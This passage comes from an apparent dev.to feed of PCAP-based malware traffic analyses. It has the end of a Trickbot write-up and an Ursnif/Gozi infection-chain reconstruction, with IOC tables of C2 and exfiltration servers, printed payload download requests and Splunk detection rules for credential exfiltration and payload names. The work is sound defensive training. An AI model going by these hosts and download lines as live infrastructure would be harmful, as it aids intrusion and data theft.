&lt;td&gt;POST module 81 — repeat&lt;/td&gt;
&lt;td&gt;346&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#2138&lt;/td&gt;
&lt;td&gt;21:35:20&lt;/td&gt;
&lt;td&gt;POST module 83 — repeat&lt;/td&gt;
&lt;td&gt;637&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#2141&lt;/td&gt;
&lt;td&gt;21:35:20&lt;/td&gt;
&lt;td&gt;HTTP 200 OK ✓ final&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Total: 2,342 bytes · 5 POSTs · 5 × HTTP 200 OK · 96.3 seconds&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  IOC Table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;66.85.183.5&lt;/td&gt;
&lt;td&gt;Primary C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;167.86.123.83&lt;/td&gt;
&lt;td&gt;Secondary C2 — port 447&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;51.81.112.135&lt;/td&gt;
&lt;td&gt;Exfiltration server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;156.96.128.237&lt;/td&gt;
&lt;td&gt;Secondary exfiltration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;URI&lt;/td&gt;
&lt;td&gt;/tar2/[BOTID]/[MODULE]/&lt;/td&gt;
&lt;td&gt;Trickbot signature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Port&lt;/td&gt;
&lt;td&gt;447 outbound&lt;/td&gt;
&lt;td&gt;C2 evasion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User-Agent&lt;/td&gt;
&lt;td&gt;MSIE 7.0 + Windows NT 10.0&lt;/td&gt;
&lt;td&gt;Zero-FP malware signature&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  MITRE ATT&amp;amp;CK Map
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1566&lt;/td&gt;
&lt;td&gt;Phishing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1071.001&lt;/td&gt;
&lt;td&gt;Application Layer Protocol: Web Protocols&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1573.001&lt;/td&gt;
&lt;td&gt;Encrypted Channel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1041&lt;/td&gt;
&lt;td&gt;Exfiltration Over C2 Channel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1555.003&lt;/td&gt;
&lt;td&gt;Credentials from Web Browsers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1082&lt;/td&gt;
&lt;td&gt;System Information Discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1016&lt;/td&gt;
&lt;td&gt;System Network Configuration Discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1571&lt;/td&gt;
&lt;td&gt;Non-Standard Port&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1036&lt;/td&gt;
&lt;td&gt;Masquerading&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Detection Rules (Splunk SPL)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Rule 1 — Trickbot URI pattern
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network http.request.method=POST http.uri="/tar2/*"
| rex field=http.uri "/tar2/(?&amp;lt;bot_id&amp;gt;[^/]+)/(?&amp;lt;module_id&amp;gt;\d+)/"
| stats count by src_ip, dest_ip, bot_id, module_id
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 2 — Non-standard port outbound
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network dest_port=447 OR dest_port=449 OR dest_port=8082
| stats count by src_ip, dest_ip, dest_port
| where count &amp;gt; 10
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 3 — Impossible User-Agent (zero false positives)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network http.user_agent="*MSIE 7.0*" http.user_agent="*Windows NT 10.0*"
| stats count by src_ip, dest_ip, http.user_agent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 4 — Internal host calling IP-check service
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network http.request.method=GET
  (http.host="icanhazip.com" OR http.host="api.ipify.org"
   OR http.host="checkip.amazonaws.com")
| stats count by src_ip, http.host
| where count &amp;gt; 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 5 — Large credential POST to external IP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network http.request.method=POST
| eval dest_internal=if(match(dest_ip,"^(10\.|192\.168\.)"),1,0)
| where dest_internal=0
| eval body_size=coalesce(http.content_length,0)
| where body_size &amp;gt; 200
| stats count, max(body_size) as max_body by src_ip, dest_ip, http.uri
| sort -max_body
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Four Key Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Port 443 ≠ HTTPS.&lt;/strong&gt; Always verify the actual protocol, not just the port. Deploy TLS inspection at your proxy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;96 seconds is not enough time for manual triage.&lt;/strong&gt; Automated detection rules are the only viable defense against this speed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The bot ID is your best forensic artifact.&lt;/strong&gt; One string search across all logs = complete picture of the infection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The impossible User-Agent is a gift.&lt;/strong&gt; Zero false positives. Write the alert. Fire on any match, no exceptions.&lt;/p&gt;




&lt;h2&gt;
  
  
  Full Report on GitHub
&lt;/h2&gt;

&lt;p&gt;👉 &lt;a href="https://github.com/himanshumodi3108/cybersec-portfolio" rel="noopener noreferrer"&gt;github.com/himanshumodi3108/cybersec-portfolio&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This analysis was performed on a controlled training dataset from malware-traffic-analysis.net for educational purposes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Himanshu Kumar Modi · Associate at PwC India · SOC Analyst in Training&lt;/em&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="https://www.linkedin.com/in/himanshu-kumar-modi-063b88239" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; · &lt;a href="https://github.com/himanshumodi3108/cybersec-portfolio" rel="noopener noreferrer"&gt;Cybersecurity Portfolio&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>wireshark</category>
      <category>dfir</category>
      <category>soc</category>
    </item>
    <item>
      <title>Ursnif Malware — Reconstructing a 6-Stage Infection Chain from a PCAP</title>
      <dc:creator>Himanshu Kumar Modi</dc:creator>
      <pubDate>Mon, 23 Mar 2026 16:28:04 +0000</pubDate>
      <link>https://dev.to/himanshu_kumarmodi_8646f/ursnif-malware-reconstructing-a-6-stage-infection-chain-from-a-pcap-1n8d</link>
      <guid>https://dev.to/himanshu_kumarmodi_8646f/ursnif-malware-reconstructing-a-6-stage-infection-chain-from-a-pcap-1n8d</guid>
      <description>&lt;p&gt;date: 2026-03-20&lt;br&gt;
description: A walkthrough of my first real malware PCAP investigation — how Ursnif used .avi file extensions to disguise DLL payloads, TLS C2 beaconing, and how I mapped the full attack to MITRE ATT&amp;amp;CK with Splunk detection rules.&lt;/p&gt;



&lt;p&gt;One of the most powerful skills a SOC analyst can develop is the ability to look at a packet capture and reconstruct exactly what an attacker did — step by step, packet by packet.&lt;/p&gt;

&lt;p&gt;This write-up walks through my first real PCAP investigation using a controlled Ursnif/Gozi banking trojan dataset from &lt;a href="https://malware-traffic-analysis.net" rel="noopener noreferrer"&gt;malware-traffic-analysis.net&lt;/a&gt; — a site widely used in the security community for analyst training.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; 6-stage infection chain reconstructed · 10 IOCs extracted · 5 Splunk detection rules written — from 2,180 packets.&lt;/p&gt;


&lt;h2&gt;
  
  
  What is Ursnif?
&lt;/h2&gt;

&lt;p&gt;Ursnif (also known as Gozi or ISFB) is one of the oldest banking trojans documented in the wild. Key characteristics:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Delivered via malicious Office document macros&lt;/li&gt;
&lt;li&gt;Multi-stage payload delivery using disguised file extensions&lt;/li&gt;
&lt;li&gt;Encrypted C2 communication over TLS&lt;/li&gt;
&lt;li&gt;Modular credential theft and web injection&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Wireshark 4.x&lt;/strong&gt; — packet analysis&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VirusTotal&lt;/strong&gt; — hash and domain reputation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MITRE ATT&amp;amp;CK Navigator&lt;/strong&gt; — TTP mapping&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Splunk SPL&lt;/strong&gt; — detection rule development&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  Step 1 — Getting Bearings
&lt;/h2&gt;

&lt;p&gt;Before any filters, I start with Statistics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Statistics → Conversations → TCP&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozq7sc5q5247m1qqzhpl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fozq7sc5q5247m1qqzhpl.png" alt=" " width="800" height="282"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;External IP&lt;/th&gt;
&lt;th&gt;Packets&lt;/th&gt;
&lt;th&gt;Role (discovered later)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;46.102.153.16&lt;/td&gt;
&lt;td&gt;906&lt;/td&gt;
&lt;td&gt;Payload server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;68.168.123.78&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;C2 server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;217.138.205.170&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Initial C2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Statistics → Protocol Hierarchy:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TCP: 97.9%&lt;/li&gt;
&lt;li&gt;TLS: 8.2% — encrypted C2 and payload retrieval&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fla9o2n4z9xkipmwpchm5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fla9o2n4z9xkipmwpchm5.png" alt=" " width="800" height="152"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 2 — Identifying the Victim
&lt;/h2&gt;

&lt;p&gt;Filter: &lt;code&gt;dhcp&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4jws3ry52tbycx68z0eq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4jws3ry52tbycx68z0eq.png" alt=" " width="800" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IP Address&lt;/td&gt;
&lt;td&gt;10.2.24.101&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MAC Address&lt;/td&gt;
&lt;td&gt;00:08:02:1c:47:ae&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;h2&gt;
  
  
  Step 3 — The Full Infection Chain
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgjt2rrbgntmovsxi3q3i.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgjt2rrbgntmovsxi3q3i.jpeg" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Stage 1 — Initial Compromise
&lt;/h3&gt;

&lt;p&gt;Consistent with Ursnif's delivery: malicious Excel file with embedded VBA macro. Not captured in PCAP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1566.001&lt;/code&gt; &lt;code&gt;T1059.005&lt;/code&gt;&lt;/p&gt;


&lt;h3&gt;
  
  
  Stage 2 — First TLS Contact (Packet 10)
&lt;/h3&gt;

&lt;p&gt;Filter: &lt;code&gt;ssl.handshake.type==1&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Source:      10.2.24.101
Destination: 217.138.205.170
SNI:         fatturapagamentodi.pw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzxy982ld5i6bny563dd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzxy982ld5i6bny563dd.png" alt=" " width="800" height="367"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The SNI field in a TLS Client Hello is &lt;strong&gt;plaintext&lt;/strong&gt; — even without decrypting traffic, we can see exactly which domain the malware contacted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1071.003&lt;/code&gt; &lt;code&gt;T1573.001&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Stage 3 — Payload Download (Packets 218–1116)
&lt;/h3&gt;

&lt;p&gt;Filter: &lt;code&gt;http.request.method == "GET"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ykmt9gt8xgixbcrccqq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ykmt9gt8xgixbcrccqq.png" alt=" " width="800" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;906 packets to 46.102.153.16. Files had &lt;code&gt;.avi&lt;/code&gt; extensions — but were Ursnif DLL segments reassembled in memory. The &lt;code&gt;.avi&lt;/code&gt; extension bypasses firewalls that block &lt;code&gt;.exe&lt;/code&gt; and &lt;code&gt;.dll&lt;/code&gt; downloads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1105&lt;/code&gt; &lt;code&gt;T1027&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Stage 4 — Secondary Payload (Packets 1299, 1563)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /grabb32.rar  →  37.10.71.149
GET /grabb64.rar  →  37.10.71.149
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both 32-bit and 64-bit binaries from a separate server.&lt;/p&gt;




&lt;h3&gt;
  
  
  Stage 5 — C2 Beaconing (Packets 1215–2167)
&lt;/h3&gt;

&lt;p&gt;Filter: &lt;code&gt;ssl.handshake.type==1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fon32qknfcp1bpyxty8z2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fon32qknfcp1bpyxty8z2.png" alt=" " width="800" height="231"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Destination: 68.168.123.78
SNI:         asistenzaonline.xyz
Interval:    ~5–10 minutes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Human browsing is random and bursty. &lt;strong&gt;Malware is a clock.&lt;/strong&gt; The consistent interval between TLS handshakes is machine behavior — your detection signal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1071.001&lt;/code&gt; &lt;code&gt;T1573.001&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Stage 6 — Persistence (Inferred)
&lt;/h3&gt;

&lt;p&gt;Registry injection under &lt;code&gt;HKCU\Software\[random key]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1547.001&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Indicators of Compromise
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;217.138.205.170&lt;/td&gt;
&lt;td&gt;Initial C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;46.102.153.16&lt;/td&gt;
&lt;td&gt;Payload server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;37.10.71.149&lt;/td&gt;
&lt;td&gt;Secondary payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;68.168.123.78&lt;/td&gt;
&lt;td&gt;Primary C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;fatturapagamentodi.pw&lt;/td&gt;
&lt;td&gt;Stage 2 C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;asistenzaonline.xyz&lt;/td&gt;
&lt;td&gt;Persistent C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;pizdelko.xyz&lt;/td&gt;
&lt;td&gt;Fallback C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;URL&lt;/td&gt;
&lt;td&gt;&lt;a href="http://46.102.153.16/*.avi" rel="noopener noreferrer"&gt;http://46.102.153.16/*.avi&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;DLL delivery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;grabb32.rar&lt;/td&gt;
&lt;td&gt;32-bit binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;grabb64.rar&lt;/td&gt;
&lt;td&gt;64-bit binary&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  MITRE ATT&amp;amp;CK Map
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1566.001&lt;/td&gt;
&lt;td&gt;Phishing: Spearphishing Attachment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1059.005&lt;/td&gt;
&lt;td&gt;Command and Scripting Interpreter: VBA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1105&lt;/td&gt;
&lt;td&gt;Ingress Tool Transfer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1071.001&lt;/td&gt;
&lt;td&gt;Application Layer Protocol: Web Protocols&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1071.003&lt;/td&gt;
&lt;td&gt;Application Layer Protocol: Mail Protocols&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1547.001&lt;/td&gt;
&lt;td&gt;Boot/Logon Autostart: Registry Run Keys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1027&lt;/td&gt;
&lt;td&gt;Obfuscated Files or Information&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1573.001&lt;/td&gt;
&lt;td&gt;Encrypted Channel: Symmetric Cryptography&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Detection Rules (Splunk SPL)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Rule 1 — TLS to suspicious SNI
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network ssl.handshake.type=1
| stats count by src_ip, ssl.handshake.extensions_server_name
| where NOT ssl.handshake.extensions_server_name LIKE "%.google.com"
  AND NOT ssl.handshake.extensions_server_name LIKE "%.microsoft.com"
  AND NOT ssl.handshake.extensions_server_name LIKE "%.cloudflare.com"
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 2 — C2 beaconing via TLS regularity
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network ssl.handshake.type=1
| bucket _time span=10m
| stats count by src_ip, dest_ip, _time
| streamstats window=6 current=t stdev(count) as regularity by src_ip, dest_ip
| where regularity &amp;lt; 1.5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 3 — Media file extension from non-CDN IP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network http.request.method=GET
| rex field=uri "(?&amp;lt;ext&amp;gt;\.[a-z0-9]{2,4})$"
| where ext IN (".avi",".mp4",".mp3")
| eval dest_is_cdn=if(match(dest_ip,"^(151\.101|104\.16|172\.67)"),1,0)
| where dest_is_cdn=0
| stats count by src_ip, dest_ip, uri, ext
| where count &amp;gt; 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 4 — Chunked download from single external IP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network http.request.method=GET
| stats dc(uri) as unique_files, count as total_requests by src_ip, dest_ip
| where unique_files &amp;gt; 3
| eval internal=if(match(dest_ip,"^(10\.|192\.168\.)"),1,0)
| where internal=0
| sort -total_requests
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 5 — Suspicious archive by name pattern
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network http.request.method=GET
  (uri="*.rar" OR uri="*.zip")
| where NOT dest_ip LIKE "192.168.%" AND NOT dest_ip LIKE "10.%"
| eval suspicious=if(match(uri,"(grabb|drop|stage|payload|inject)"),1,0)
| where suspicious=1
| stats count by src_ip, dest_ip, uri
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Three Key Lessons
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; The &lt;code&gt;.avi&lt;/code&gt; trick works because defenders trust file extensions. Fix: inspect file content, not just extension.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Beaconing regularity is your strongest behavioral detection signal. Low standard deviation in connection intervals = machine, not human.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Multi-stage infrastructure creates more IOCs, not fewer. Four servers = four things to block and hunt for.&lt;/p&gt;




&lt;h2&gt;
  
  
  Immediate Response Actions
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Isolate 10.2.24.101&lt;/li&gt;
&lt;li&gt;Block all 4 attacker IPs&lt;/li&gt;
&lt;li&gt;Sinkhole 3 C2 domains at DNS&lt;/li&gt;
&lt;li&gt;Hunt for &lt;code&gt;.avi&lt;/code&gt; GETs from non-CDN IPs in 30 days of proxy logs&lt;/li&gt;
